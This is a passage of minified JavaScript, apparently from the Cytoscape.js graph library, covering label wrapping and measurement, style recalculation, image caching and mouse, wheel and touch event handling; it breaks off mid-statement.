N=O/C;N=Ft(0,N,1);t=Rt(T,P,N);s=hu(T,P);break}}o("labelX",a,t.x);o("labelY",a,t.y);o("labelAutoAngle",a,s)};l("source");l("target");this.applyLabelDimensions(e)};vu.applyLabelDimensions=function(e){this.applyPrefixedLabelDimensions(e);if(e.isEdge()){this.applyPrefixedLabelDimensions(e,"source");this.applyPrefixedLabelDimensions(e,"target")}};vu.applyPrefixedLabelDimensions=function(e,t){var r=e._private;var n=this.getLabelText(e,t);var a=this.calculateLabelDimensions(e,n);var i=e.pstyle("line-height").pfValue;var o=e.pstyle("text-wrap").strValue;var s=Je(r.rscratch,"labelWrapCachedLines",t)||[];var u=o!=="wrap"?1:Math.max(s.length,1);var l=a.height/u;var f=l*i;var c=a.width;var v=a.height+(u-1)*(i-1)*l;et(r.rstyle,"labelWidth",t,c);et(r.rscratch,"labelWidth",t,c);et(r.rstyle,"labelHeight",t,v);et(r.rscratch,"labelHeight",t,v);et(r.rscratch,"labelLineHeight",t,f)};vu.getLabelText=function(e,t){var r=e._private;var n=t?t+"-":"";var a=e.pstyle(n+"label").strValue;var i=e.pstyle("text-transform").value;var o=function e(n,a){if(a){et(r.rscratch,n,t,a);return a}else{return Je(r.rscratch,n,t)}};if(!a){return""}if(i=="none");else if(i=="uppercase"){a=a.toUpperCase()}else if(i=="lowercase"){a=a.toLowerCase()}var s=e.pstyle("text-wrap").value;if(s==="wrap"){var u=o("labelKey");if(u!=null&&o("labelWrapKey")===u){return o("labelWrapCachedText")}var l="​";var f=a.split("\n");var c=e.pstyle("text-max-width").pfValue;var v=e.pstyle("text-overflow-wrap").value;var d=v==="anywhere";var h=[];var p=/[\s\u200b]+/;var g=d?"":" ";for(var y=0;y<f.length;y++){var m=f[y];var b=this.calculateLabelDimensions(e,m);var x=b.width;if(d){var w=m.split("").join(l);m=w}if(x>c){var E=m.split(p);var _="";for(var k=0;k<E.length;k++){var S=E[k];var C=_.length===0?S:_+g+S;var D=this.calculateLabelDimensions(e,C);var T=D.width;if(T<=c){_+=S+g}else{if(_){h.push(_)}_=S+g}}if(!_.match(/^[\s\u200b]+$/)){h.push(_)}}else{h.push(m)}}o("labelWrapCachedLines",h);a=o("labelWrapCachedText",h.join("\n"));o("labelWrapKey",u)}else if(s==="ellipsis"){var P=e.pstyle("text-max-width").pfValue;var M="";var I="…";var O=false;if(this.calculateLabelDimensions(e,a).width<P){return a}for(var N=0;N<a.length;N++){var z=this.calculateLabelDimensions(e,M+a[N]+I).width;if(z>P){break}M+=a[N];if(N===a.length-1){O=true}}if(!O){M+=I}return M}return a};vu.getLabelJustification=function(e){var t=e.pstyle("text-justification").strValue;var r=e.pstyle("text-halign").strValue;if(t==="auto"){if(e.isNode()){switch(r){case"left":return"right";case"right":return"left";default:return"center"}}else{return"center"}}else{return t}};vu.calculateLabelDimensions=function(e,t){var r=this;var n=Pe(t,e._private.labelDimsKey);var a=r.labelDimCache||(r.labelDimCache=[]);var i=a[n];if(i!=null){return i}var o=0;var s=e.pstyle("font-style").strValue;var u=e.pstyle("font-size").pfValue;var l=e.pstyle("font-family").strValue;var f=e.pstyle("font-weight").strValue;var c=this.labelCalcCanvas;var v=this.labelCalcCanvasContext;if(!c){c=this.labelCalcCanvas=document.createElement("canvas");v=this.labelCalcCanvasContext=c.getContext("2d");var d=c.style;d.position="absolute";d.left="-9999px";d.top="-9999px";d.zIndex="-1";d.visibility="hidden";d.pointerEvents="none"}v.font="".concat(s," ").concat(f," ").concat(u,"px ").concat(l);var h=0;var p=0;var g=t.split("\n");for(var y=0;y<g.length;y++){var m=g[y];var b=v.measureText(m);var x=Math.ceil(b.width);var w=u;h=Math.max(x,h);p+=w}h+=o;p+=o;return a[n]={width:h,height:p}};vu.calculateLabelAngle=function(e,t){var r=e._private;var n=r.rscratch;var a=e.isEdge();var i=t?t+"-":"";var o=e.pstyle(i+"text-rotation");var s=o.strValue;if(s==="none"){return 0}else if(a&&s==="autorotate"){return n.labelAutoAngle}else if(s==="autorotate"){return 0}else{return o.pfValue}};vu.calculateLabelAngles=function(e){var t=this;var r=e.isEdge();var n=e._private;var a=n.rscratch;a.labelAngle=t.calculateLabelAngle(e);if(r){a.sourceLabelAngle=t.calculateLabelAngle(e,"source");a.targetLabelAngle=t.calculateLabelAngle(e,"target")}};var gu={};var yu=28;var mu=false;gu.getNodeShape=function(e){var t=this;var r=e.pstyle("shape").value;if(r==="cutrectangle"&&(e.width()<yu||e.height()<yu)){if(!mu){qe("The `cutrectangle` node shape can not be used at small sizes so `rectangle` is used instead");mu=true}return"rectangle"}if(e.isParent()){if(r==="rectangle"||r==="roundrectangle"||r==="round-rectangle"||r==="cutrectangle"||r==="cut-rectangle"||r==="barrel"){return r}else{return"rectangle"}}if(r==="polygon"){var n=e.pstyle("shape-polygon-points").value;return t.nodeShapes.makePolygon(n).name}return r};var bu={};bu.registerCalculationListeners=function(){var e=this.cy;var t=e.collection();var r=this;var n=function e(r){var n=arguments.length>1&&arguments[1]!==undefined?arguments[1]:true;t.merge(r);if(n){for(var a=0;a<r.length;a++){var i=r[a];var o=i._private;var s=o.rstyle;s.clean=false;s.cleanConnected=false}}};r.binder(e).on("bounds.* dirty.*",(function e(t){var r=t.target;n(r)})).on("style.* background.*",(function e(t){var r=t.target;n(r,false)}));var a=function a(i){if(i){var o=r.onUpdateEleCalcsFns;t.cleanStyle();for(var s=0;s<t.length;s++){var u=t[s];var l=u._private.rstyle;if(u.isNode()&&!l.cleanConnected){n(u.connectedEdges());l.cleanConnected=true}}if(o){for(var f=0;f<o.length;f++){var c=o[f];c(i,t)}}r.recalculateRenderedStyle(t);t=e.collection()}};r.flushRenderedStyleQueue=function(){a(true)};r.beforeRender(a,r.beforeRenderPriorities.eleCalcs)};bu.onUpdateEleCalcs=function(e){var t=this.onUpdateEleCalcsFns=this.onUpdateEleCalcsFns||[];t.push(e)};bu.recalculateRenderedStyle=function(e,t){var r=function e(t){return t._private.rstyle.cleanConnected};var n=[];var a=[];if(this.destroyed){return}if(t===undefined){t=true}for(var i=0;i<e.length;i++){var o=e[i];var s=o._private;var u=s.rstyle;if(o.isEdge()&&(!r(o.source())||!r(o.target()))){u.clean=false}if(t&&u.clean||o.removed()){continue}if(o.pstyle("display").value==="none"){continue}if(s.group==="nodes"){a.push(o)}else{n.push(o)}u.clean=true}for(var l=0;l<a.length;l++){var f=a[l];var c=f._private;var v=c.rstyle;var d=f.position();this.recalculateNodeLabelProjection(f);v.nodeX=d.x;v.nodeY=d.y;v.nodeW=f.pstyle("width").pfValue;v.nodeH=f.pstyle("height").pfValue}this.recalculateEdgeProjections(n);for(var h=0;h<n.length;h++){var p=n[h];var g=p._private;var y=g.rstyle;var m=g.rscratch;y.srcX=m.arrowStartX;y.srcY=m.arrowStartY;y.tgtX=m.arrowEndX;y.tgtY=m.arrowEndY;y.midX=m.midX;y.midY=m.midY;y.labelAngle=m.labelAngle;y.sourceLabelAngle=m.sourceLabelAngle;y.targetLabelAngle=m.targetLabelAngle}};var xu={};xu.updateCachedGrabbedEles=function(){var e=this.cachedZSortedEles;if(!e){return}e.drag=[];e.nondrag=[];var t=[];for(var r=0;r<e.length;r++){var n=e[r];var a=n._private.rscratch;if(n.grabbed()&&!n.isParent()){t.push(n)}else if(a.inDragLayer){e.drag.push(n)}else{e.nondrag.push(n)}}for(var r=0;r<t.length;r++){var n=t[r];e.drag.push(n)}};xu.invalidateCachedZSortedEles=function(){this.cachedZSortedEles=null};xu.getCachedZSortedEles=function(e){if(e||!this.cachedZSortedEles){var t=this.cy.mutableElements().toArray();t.sort(eo);t.interactive=t.filter((function(e){return e.interactive()}));this.cachedZSortedEles=t;this.updateCachedGrabbedEles()}else{t=this.cachedZSortedEles}return t};var wu={};[iu,ou,su,lu,fu,vu,gu,bu,xu].forEach((function(e){ie(wu,e)}));var Eu={};Eu.getCachedImage=function(e,t,r){var n=this;var a=n.imageCache=n.imageCache||{};var i=a[e];if(i){if(!i.image.complete){i.image.addEventListener("load",r)}return i.image}else{i=a[e]=a[e]||{};var o=i.image=new Image;o.addEventListener("load",r);o.addEventListener("error",(function(){o.error=true}));var s="data:";var u=e.substring(0,s.length).toLowerCase()===s;if(!u){o.crossOrigin=t}o.src=e;return o}};var _u={};_u.registerBinding=function(e,t,r,n){var a=Array.prototype.slice.apply(arguments,[1]);var i=this.binder(e);return i.on.apply(i,a)};_u.binder=function(e){var t=this;var r=e===window||e===document||e===document.body||V(e);if(t.supportsPassiveEvents==null){var n=false;try{var a=Object.defineProperty({},"passive",{get:function e(){n=true;return true}});window.addEventListener("test",null,a)}catch(e){}t.supportsPassiveEvents=n}var i=function n(a,i,o){var s=Array.prototype.slice.call(arguments);if(r&&t.supportsPassiveEvents){s[2]={capture:o!=null?o:false,passive:false,once:false}}t.bindings.push({target:e,args:s});(e.addEventListener||e.on).apply(e,s);return this};return{on:i,addEventListener:i,addListener:i,bind:i}};_u.nodeIsDraggable=function(e){return e&&e.isNode()&&!e.locked()&&e.grabbable()};_u.nodeIsGrabbable=function(e){return this.nodeIsDraggable(e)&&e.interactive()};_u.load=function(){var e=this;var t=function e(t){return t.selected()};var r=function t(r,n,a,i){if(r==null){r=e.cy}for(var o=0;o<n.length;o++){var s=n[o];r.emit({originalEvent:a,type:s,position:i})}};var n=function e(t){return t.shiftKey||t.metaKey||t.ctrlKey};var i=function t(r,n){var a=true;if(e.cy.hasCompoundNodes()&&r&&r.pannable()){for(var i=0;n&&i<n.length;i++){var r=n[i];if(r.isNode()&&r.isParent()&&!r.pannable()){a=false;break}}}else{a=true}return a};var o=function e(t){t[0]._private.grabbed=true};var s=function e(t){t[0]._private.grabbed=false};var u=function e(t){t[0]._private.rscratch.inDragLayer=true};var l=function e(t){t[0]._private.rscratch.inDragLayer=false};var f=function e(t){t[0]._private.rscratch.isGrabTarget=true};var c=function e(t){t[0]._private.rscratch.isGrabTarget=false};var v=function e(t,r){var n=r.addToList;var a=n.has(t);if(!a&&t.grabbable()&&!t.locked()){n.merge(t);o(t)}};var d=function e(t,r){if(!t.cy().hasCompoundNodes()){return}if(r.inDragLayer==null&&r.addToList==null){return}var n=t.descendants();if(r.inDragLayer){n.forEach(u);n.connectedEdges().forEach(u)}if(r.addToList){v(n,r)}};var h=function t(r,n){n=n||{};var a=r.cy().hasCompoundNodes();if(n.inDragLayer){r.forEach(u);r.neighborhood().stdFilter((function(e){return!a||e.isEdge()})).forEach(u)}if(n.addToList){r.forEach((function(e){v(e,n)}))}d(r,n);y(r,{inDragLayer:n.inDragLayer});e.updateCachedGrabbedEles()};var p=h;var g=function t(r){if(!r){return}e.getCachedZSortedEles().forEach((function(e){s(e);l(e);c(e)}));e.updateCachedGrabbedEles()};var y=function e(t,r){if(r.inDragLayer==null&&r.addToList==null){return}if(!t.cy().hasCompoundNodes()){return}var n=t.ancestors().orphans();if(n.same(t)){return}var a=n.descendants().spawnSelf().merge(n).unmerge(t).unmerge(t.descendants());var i=a.connectedEdges();if(r.inDragLayer){i.forEach(u);a.forEach(u)}if(r.addToList){a.forEach((function(e){v(e,r)}))}};var m=function e(){if(document.activeElement!=null&&document.activeElement.blur!=null){document.activeElement.blur()}};var b=typeof MutationObserver!=="undefined";var x=typeof ResizeObserver!=="undefined";if(b){e.removeObserver=new MutationObserver((function(t){for(var r=0;r<t.length;r++){var n=t[r];var a=n.removedNodes;if(a){for(var i=0;i<a.length;i++){var o=a[i];if(o===e.container){e.destroy();break}}}}}));if(e.container.parentNode){e.removeObserver.observe(e.container.parentNode,{childList:true})}}else{e.registerBinding(e.container,"DOMNodeRemoved",(function(t){e.destroy()}))}var w=a((function(){e.cy.resize()}),100);if(b){e.styleObserver=new MutationObserver(w);e.styleObserver.observe(e.container,{attributes:true})}e.registerBinding(window,"resize",w);if(x){e.resizeObserver=new ResizeObserver(w);e.resizeObserver.observe(e.container)}var E=function e(t,r){while(t!=null){r(t);t=t.parentNode}};var _=function t(){e.invalidateContainerClientCoordsCache()};E(e.container,(function(t){e.registerBinding(t,"transitionend",_);e.registerBinding(t,"animationend",_);e.registerBinding(t,"scroll",_)}));e.registerBinding(e.container,"contextmenu",(function(e){e.preventDefault()}));var k=function t(){return e.selection[4]!==0};var S=function t(r){var n=e.findContainerClientCoords();var a=n[0];var i=n[1];var o=n[2];var s=n[3];var u=r.touches?r.touches:[r];var l=false;for(var f=0;f<u.length;f++){var c=u[f];if(a<=c.clientX&&c.clientX<=a+o&&i<=c.clientY&&c.clientY<=i+s){l=true;break}}if(!l){return false}var v=e.container;var d=r.target;var h=d.parentNode;var p=false;while(h){if(h===v){p=true;break}h=h.parentNode}if(!p){return false}return true};e.registerBinding(e.container,"mousedown",(function t(n){if(!S(n)){return}n.preventDefault();m();e.hoverData.capture=true;e.hoverData.which=n.which;var a=e.cy;var i=[n.clientX,n.clientY];var o=e.projectIntoViewport(i[0],i[1]);var s=e.selection;var u=e.findNearestElements(o[0],o[1],true,false);var l=u[0];var c=e.dragData.possibleDragElements;e.hoverData.mdownPos=o;e.hoverData.mdownGPos=i;var v=function t(){e.hoverData.tapholdCancelled=false;clearTimeout(e.hoverData.tapholdTimeout);e.hoverData.tapholdTimeout=setTimeout((function(){if(e.hoverData.tapholdCancelled){return}else{var t=e.hoverData.down;if(t){t.emit({originalEvent:n,type:"taphold",position:{x:o[0],y:o[1]}})}else{a.emit({originalEvent:n,type:"taphold",position:{x:o[0],y:o[1]}})}}}),e.tapholdDuration)};if(n.which==3){e.hoverData.cxtStarted=true;var d={originalEvent:n,type:"cxttapstart",position:{x:o[0],y:o[1]}};if(l){l.activate();l.emit(d);e.hoverData.down=l}else{a.emit(d)}e.hoverData.downTime=(new Date).getTime();e.hoverData.cxtDragged=false}else if(n.which==1){if(l){l.activate()}{if(l!=null){if(e.nodeIsGrabbable(l)){var g=function e(t){return{originalEvent:n,type:t,position:{x:o[0],y:o[1]}}};var y=function e(t){t.emit(g("grab"))};f(l);if(!l.selected()){c=e.dragData.possibleDragElements=a.collection();p(l,{addToList:c});l.emit(g("grabon")).emit(g("grab"))}else{c=e.dragData.possibleDragElements=a.collection();var b=a.$((function(t){return t.isNode()&&t.selected()&&e.nodeIsGrabbable(t)}));h(b,{addToList:c});l.emit(g("grabon"));b.forEach(y)}e.redrawHint("eles",true);e.redrawHint("drag",true)}}e.hoverData.down=l;e.hoverData.downs=u;e.hoverData.downTime=(new Date).getTime()}r(l,["mousedown","tapstart","vmousedown"],n,{x:o[0],y:o[1]});if(l==null){s[4]=1;e.data.bgActivePosistion={x:o[0],y:o[1]};e.redrawHint("select",true);e.redraw()}else if(l.pannable()){s[4]=1}v()}s[0]=s[2]=o[0];s[1]=s[3]=o[1]}),false);e.registerBinding(window,"mousemove",(function t(a){var o=e.hoverData.capture;if(!o&&!S(a)){return}var s=false;var u=e.cy;var l=u.zoom();var f=[a.clientX,a.clientY];var c=e.projectIntoViewport(f[0],f[1]);var v=e.hoverData.mdownPos;var d=e.hoverData.mdownGPos;var p=e.selection;var y=null;if(!e.hoverData.draggingEles&&!e.hoverData.dragging&&!e.hoverData.selecting){y=e.findNearestElement(c[0],c[1],true,false)}var m=e.hoverData.last;var b=e.hoverData.down;var x=[c[0]-p[2],c[1]-p[3]];var w=e.dragData.possibleDragElements;var E;if(d){var _=f[0]-d[0];var k=_*_;var C=f[1]-d[1];var D=C*C;var T=k+D;e.hoverData.isOverThresholdDrag=E=T>=e.desktopTapThreshold2}var P=n(a);if(E){e.hoverData.tapholdCancelled=true}var M=function t(){var r=e.hoverData.dragDelta=e.hoverData.dragDelta||[];if(r.length===0){r.push(x[0]);r.push(x[1])}else{r[0]+=x[0];r[1]+=x[1]}};s=true;r(y,["mousemove","vmousemove","tapdrag"],a,{x:c[0],y:c[1]});var O=function t(){e.data.bgActivePosistion=undefined;if(!e.hoverData.selecting){u.emit({originalEvent:a,type:"boxstart",position:{x:c[0],y:c[1]}})}p[4]=1;e.hoverData.selecting=true;e.redrawHint("select",true);e.redraw()};if(e.hoverData.which===3){if(E){var N={originalEvent:a,type:"cxtdrag",position:{x:c[0],y:c[1]}};if(b){b.emit(N)}else{u.emit(N)}e.hoverData.cxtDragged=true;if(!e.hoverData.cxtOver||y!==e.hoverData.cxtOver){if(e.hoverData.cxtOver){e.hoverData.cxtOver.emit({originalEvent:a,type:"cxtdragout",position:{x:c[0],y:c[1]}})}e.hoverData.cxtOver=y;if(y){y.emit({originalEvent:a,type:"cxtdragover",position:{x:c[0],y:c[1]}})}}}}else if(e.hoverData.dragging){s=true;if(u.panningEnabled()&&u.userPanningEnabled()){var z;if(e.hoverData.justStartedPan){var A=e.hoverData.mdownPos;z={x:(c[0]-A[0])*l,y:(c[1]-A[1])*l};e.hoverData.justStartedPan=false}else{z={x:x[0]*l,y:x[1]*l}}u.panBy(z);u.emit("dragpan");e.hoverData.dragged=true}c=e.projectIntoViewport(a.clientX,a.clientY)}else if(p[4]==1&&(b==null||b.pannable())){if(E){if(!e.hoverData.dragging&&u.boxSelectionEnabled()&&(P||!u.panningEnabled()||!u.userPanningEnabled())){O()}else if(!e.hoverData.selecting&&u.panningEnabled()&&u.userPanningEnabled()){var L=i(b,e.hoverData.downs);if(L){e.hoverData.dragging=true;e.hoverData.justStartedPan=true;p[4]=0;e.data.bgActivePosistion=St(v);e.redrawHint("select",true);e.redraw()}}if(b&&b.pannable()&&b.active()){b.unactivate()}}}else{if(b&&b.pannable()&&b.active()){b.unactivate()}if((!b||!b.grabbed())&&y!=m){if(m){r(m,["mouseout","tapdragout"],a,{x:c[0],y:c[1]})}if(y){r(y,["mouseover","tapdragover"],a,{x:c[0],y:c[1]})}e.hoverData.last=y}if(b){if(E){if(u.boxSelectionEnabled()&&P){if(b&&b.grabbed()){g(w);b.emit("freeon");w.emit("free");if(e.dragData.didDrag){b.emit("dragfreeon");w.emit("dragfree")}}O()}else if(b&&b.grabbed()&&e.nodeIsDraggable(b)){var B=!e.dragData.didDrag;if(B){e.redrawHint("eles",true)}e.dragData.didDrag=true;if(!e.hoverData.draggingEles){h(w,{inDragLayer:true})}var j={x:0,y:0};if(I(x[0])&&I(x[1])){j.x+=x[0];j.y+=x[1];if(B){var R=e.hoverData.dragDelta;if(R&&I(R[0])&&I(R[1])){j.x+=R[0];j.y+=R[1]}}}e.hoverData.draggingEles=true;w.silentShift(j).emit("position drag");e.redrawHint("drag",true);e.redraw()}}else{M()}}s=true}p[2]=c[0];p[3]=c[1];if(s){if(a.stopPropagation)a.stopPropagation();if(a.preventDefault)a.preventDefault();return false}}),false);var C,D,T;e.registerBinding(window,"mouseup",(function a(i){var o=e.hoverData.capture;if(!o){return}e.hoverData.capture=false;var s=e.cy;var u=e.projectIntoViewport(i.clientX,i.clientY);var l=e.selection;var f=e.findNearestElement(u[0],u[1],true,false);var c=e.dragData.possibleDragElements;var v=e.hoverData.down;var d=n(i);if(e.data.bgActivePosistion){e.redrawHint("select",true);e.redraw()}e.hoverData.tapholdCancelled=true;e.data.bgActivePosistion=undefined;if(v){v.unactivate()}if(e.hoverData.which===3){var h={originalEvent:i,type:"cxttapend",position:{x:u[0],y:u[1]}};if(v){v.emit(h)}else{s.emit(h)}if(!e.hoverData.cxtDragged){var p={originalEvent:i,type:"cxttap",position:{x:u[0],y:u[1]}};if(v){v.emit(p)}else{s.emit(p)}}e.hoverData.cxtDragged=false;e.hoverData.which=null}else if(e.hoverData.which===1){r(f,["mouseup","tapend","vmouseup"],i,{x:u[0],y:u[1]});if(!e.dragData.didDrag&&!e.hoverData.dragged&&!e.hoverData.selecting&&!e.hoverData.isOverThresholdDrag){r(v,["click","tap","vclick"],i,{x:u[0],y:u[1]});D=false;if(i.timeStamp-T<=s.multiClickDebounceTime()){C&&clearTimeout(C);D=true;T=null;r(v,["dblclick","dbltap","vdblclick"],i,{x:u[0],y:u[1]})}else{C=setTimeout((function(){if(D)return;r(v,["oneclick","onetap","voneclick"],i,{x:u[0],y:u[1]})}),s.multiClickDebounceTime());T=i.timeStamp}}if(v==null&&!e.dragData.didDrag&&!e.hoverData.selecting&&!e.hoverData.dragged&&!n(i)){s.$(t).unselect(["tapunselect"]);if(c.length>0){e.redrawHint("eles",true)}e.dragData.possibleDragElements=c=s.collection()}if(f==v&&!e.dragData.didDrag&&!e.hoverData.selecting){if(f!=null&&f._private.selectable){if(e.hoverData.dragging);else if(s.selectionType()==="additive"||d){if(f.selected()){f.unselect(["tapunselect"])}else{f.select(["tapselect"])}}else{if(!d){s.$(t).unmerge(f).unselect(["tapunselect"]);f.select(["tapselect"])}}e.redrawHint("eles",true)}}if(e.hoverData.selecting){var y=s.collection(e.getAllInBox(l[0],l[1],l[2],l[3]));e.redrawHint("select",true);if(y.length>0){e.redrawHint("eles",true)}s.emit({type:"boxend",originalEvent:i,position:{x:u[0],y:u[1]}});var m=function e(t){return t.selectable()&&!t.selected()};if(s.selectionType()==="additive"){y.emit("box").stdFilter(m).select().emit("boxselect")}else{if(!d){s.$(t).unmerge(y).unselect()}y.emit("box").stdFilter(m).select().emit("boxselect")}e.redraw()}if(e.hoverData.dragging){e.hoverData.dragging=false;e.redrawHint("select",true);e.redrawHint("eles",true);e.redraw()}if(!l[4]){e.redrawHint("drag",true);e.redrawHint("eles",true);var b=v&&v.grabbed();g(c);if(b){v.emit("freeon");c.emit("free");if(e.dragData.didDrag){v.emit("dragfreeon");c.emit("dragfree")}}}}l[4]=0;e.hoverData.down=null;e.hoverData.cxtStarted=false;e.hoverData.draggingEles=false;e.hoverData.selecting=false;e.hoverData.isOverThresholdDrag=false;e.dragData.didDrag=false;e.hoverData.dragged=false;e.hoverData.dragDelta=[];e.hoverData.mdownPos=null;e.hoverData.mdownGPos=null}),false);var P=function t(r){if(e.scrollingPage){return}var n=e.cy;var a=n.zoom();var i=n.pan();var o=e.projectIntoViewport(r.clientX,r.clientY);var s=[o[0]*a+i.x,o[1]*a+i.y];if(e.hoverData.draggingEles||e.hoverData.dragging||e.hoverData.cxtStarted||k()){r.preventDefault();return}if(n.panningEnabled()&&n.userPanningEnabled()&&n.zoomingEnabled()&&n.userZoomingEnabled()){r.preventDefault();e.data.wheelZooming=true;clearTimeout(e.data.wheelTimeout);e.data.wheelTimeout=setTimeout((function(){e.data.wheelZooming=false;e.redrawHint("eles",true);e.redraw()}),150);var u;if(r.deltaY!=null){u=r.deltaY/-250}else if(r.wheelDeltaY!=null){u=r.wheelDeltaY/1e3}else{u=r.wheelDelta/1e3}u=u*e.wheelSensitivity;var l=r.deltaMode===1;if(l){u*=33}var f=n.zoom()*Math.pow(10,u);if(r.type==="gesturechange"){f=e.gestureStartZoom*r.scale}n.zoom({level:f,renderedPosition:{x:s[0],y:s[1]}});n.emit(r.type==="gesturechange"?"pinchzoom":"scrollzoom")}};e.registerBinding(e.container,"wheel",P,true);e.registerBinding(window,"scroll",(function t(r){e.scrollingPage=true;clearTimeout(e.scrollingPageTimeout);e.scrollingPageTimeout=setTimeout((function(){e.scrollingPage=false}),250)}),true);e.registerBinding(e.container,"gesturestart",(function t(r){e.gestureStartZoom=e.cy.zoom();if(!e.hasTouchStarted){r.preventDefault()}}),true);e.registerBinding(e.container,"gesturechange",(function(t){if(!e.hasTouchStarted){P(t)}}),true);e.registerBinding(e.container,"mouseout",(function t(r){var n=e.projectIntoViewport(r.clientX,r.clientY);e.cy.emit({originalEvent:r,type:"mouseout",position:{x:n[0],y:n[1]}})}),false);e.registerBinding(e.container,"mouseover",(function t(r){var n=e.projectIntoViewport(r.clientX,r.clientY);e.cy.emit({originalEvent:r,type:"mouseover",position:{x:n[0],y:n[1]}})}),false);var M,O,N,z;var A,L;var B,j;var R,F;var V,q;var G;var Y=function e(t,r,n,a){return Math.sqrt((n-t)*(n-t)+(a-r)*(a-r))};var X=function e(t,r,n,a){return(n-t)*(n-t)+(a-r)*(a-r)};var W;e.registerBinding(e.container,"touchstart",W=function t(n){e.hasTouchStarted=true;if(!S(n)){return}m();e.touchData.capture=true;e.data.bgActivePosistion=undefined;var a=e.cy;var i=e.touchData.now;var o=e.touchData.earlier;if(n.touches[0]){var s=e.projectIntoViewport(n.touches[0].clientX,n.touches[0].clientY);i[0]=s[0];i[1]=s[1]}if(n.touches[1]){var s=e.projectIntoViewport(n.touches[1].clientX,n.touches[1].clientY);i[2]=s[0];i[3]=s[1]}if(n.touches[2]){var s=e.projectIntoViewport(n.touches[2].clientX,n.touches[2].clientY);i[4]=s[0];i[5]=s[1]}if(n.touches[1]){e.touchData.singleTouchMoved=true;g(e.dragData.touchDragEles);var u=e.findContainerClientCoords();R=u[0];F=u[1];V=u[2];q=u[3];M=n.touches[0].clientX-R;O=n.touches[0].clientY-F;N=n.touches[1].clientX-R;z=n.touches[1].clientY-F;G=0<=M&&M<=V&&0<=N&&N<=V&&0<=O&&O<=q&&0<=z&&z<=q;var l=a.pan();var c=a.zoom();A=Y(M,O,N,z);L=X(M,O,N,z);B=[(M+N)/2,(O+z)/2];j=[(B[0]-l.x)/c,(B[1]-l.y)/c];var v=200;var d=v*v;if(L<d&&!n.touches[2]){var y=e.findNearestElement(i[0],i[1],true,true);var b=e.findNearestElement(i[2],i[3],true,true);if(y&&y.isNode()){y.activate().emit({originalEvent:n,type:"cxttapstart",position:{x:i[0],y:i[1]}});e.touchData.start=y}else if(b&&b.isNode()){b.activate().emit({originalEvent:n,type:"cxttapstart",position:{x:i[0],y:i[1]}});e.touchData.start=b}else{a.emit({originalEvent:n,type:"cxttapstart",position:{x:i[0],y:i[1]}})}if(e.touchData.start){e.touchData.start._private.grabbed=false}e.touchData.cxt=true;e.touchData.cxtDragged=false;e.data.bgActivePosistion=undefined;e.redraw();return}}if(n.touches[2]){if(a.boxSelectionEnabled()){n.preventDefault()}}else if(n.touches[1]);else if(n.touches[0]){var x=e.findNearestElements(i[0],i[1],true,true);var w=x[0];if(w!=null){w.activate();e.touchData.start=w;e.touchData.starts=x;if(e.nodeIsGrabbable(w)){var E=e.dragData.touchDragEles=a.collection();var _=null;e.redrawHint("eles",true);e.redrawHint("drag",true);if(w.selected()){_=a.$((function(t){return t.selected()&&e.nodeIsGrabbable(t)}));h(_,{addToList:E})}else{p(w,{addToList:E})}f(w);var k=function e(t){return{originalEvent:n,type:t,position:{x:i[0],y:i[1]}}};w.emit(k("grabon"));if(_){_.forEach((function(e){e.emit(k("grab"))}))}else{w.emit(k("grab"))}}}r(w,["touchstart","tapstart","vmousedown"],n,{x:i[0],y:i[1]});if(w==null){e.data.bgActivePosistion={x:s[0],y:s[1]};e.redrawHint("select",true);e.redraw()}e.touchData.singleTouchMoved=false;e.touchData.singleTouchStartTime=+new Date;clearTimeout(e.touchData.tapholdTimeout);e.touchData.tapholdTimeout=setTimeout((function(){if(e.touchData.singleTouchMoved===false&&!e.pinching&&!e.touchData.selecting){r(e.touchData.start,["taphold"],n,{x:i[0],y:i[1]})}}),e.tapholdDuration)}if(n.touches.length>=1){var C=e.touchData.startPosition=[];for(var D=0;D<i.length;D++){C[D]=o[D]=i[D]}var T=n.touches[0];e.touchData.startGPosition=[T.clientX,T.clientY]}},false);var H;e.registerBinding(window,"touchmove",H=function t(n){var a=e.touchData.capture;if(!a&&!S(n)){return}var o=e.selection;var s=e.cy;var u=e.touchData.now;var l=e.touchData.earlier;var f=s.zoom();if(n.touches[0]){var c=e.projectIntoViewport(n.touches[0].clientX,n.touches[0].clientY);u[0]=c[0];u[1]=c[1]}if(n.touches[1]){var c=e.projectIntoViewport(n.touches[1].clientX,n.touches[1].clientY);u[2]=c[0];u[3]=c[1]}if(n.touches[2]){var c=e.projectIntoViewport(n.touches[2].clientX,n.touches[2].clientY);u[4]=c[0];u[5]=c[1]}var v=e.touchData.startGPosition;var d;if(a&&n.touches[0]&&v){var p=[];for(var y=0;y<u.length;y++){p[y]=u[y]-l[y]}var m=n.touches[0].clientX-v[0];var b=m*m;var x=n.touches[0].clientY-v[1];var w=x*x;var E=b+w;d=E>=e.touchTapThreshold2}if(a&&e.touchData.cxt){n.preventDefault();var _=n.touches[0].clientX-R,k=n.touches[0].clientY-F;var C=n.touches[1].clientX-R,D=n.touches[1].clientY-F;var T=X(_,k,C,D);var P=T/L;var B=150;var V=B*B;var q=1.5;var W=q*q;if(P>=W||T>=V){e.touchData.cxt=false;e.data.bgActivePosistion=undefined;e.redrawHint("select",true);var H={originalEvent:n,type:"cxttapend",position:{x:u[0],y:u[1]}};if(e.touchData.start){e.touchData.start.unactivate().emit(H);e.touchData.start=null}else{s.emit(H)}}}if(a&&e.touchData.cxt){var H={originalEvent:n,type:"cxtdrag",position:{x:u[0],y:u[1]}};e.data.bgActivePosistion=undefined;e.redrawHint("select",true);if(e.touchData.start){e.touchData.start.emit(H)}else{s.emit(H)}if(e.touchData.start){e.touchData.start._private.grabbed=false}e.touchData.cxtDragged=true;var U=e.findNearestElement(u[0],u[1],true,true);if(!e.touchData.cxtOver||U!==e.touchData.cxtOver){if(e.touchData.cxtOver){e.touchData.cxtOver.emit({originalEvent:n,type:"cxtdragout",position:{x:u[0],y:u[1]}})}e.touchData.cxtOver=U;if(U){U.emit({originalEvent:n,type:"cxtdragover",position:{x:u[0],y:u[1]}})}}}else if(a&&n.touches[2]&&s.boxSelectionEnabled()){n.preventDefault();e.data.bgActivePosistion=undefined;this.lastThreeTouch=+new 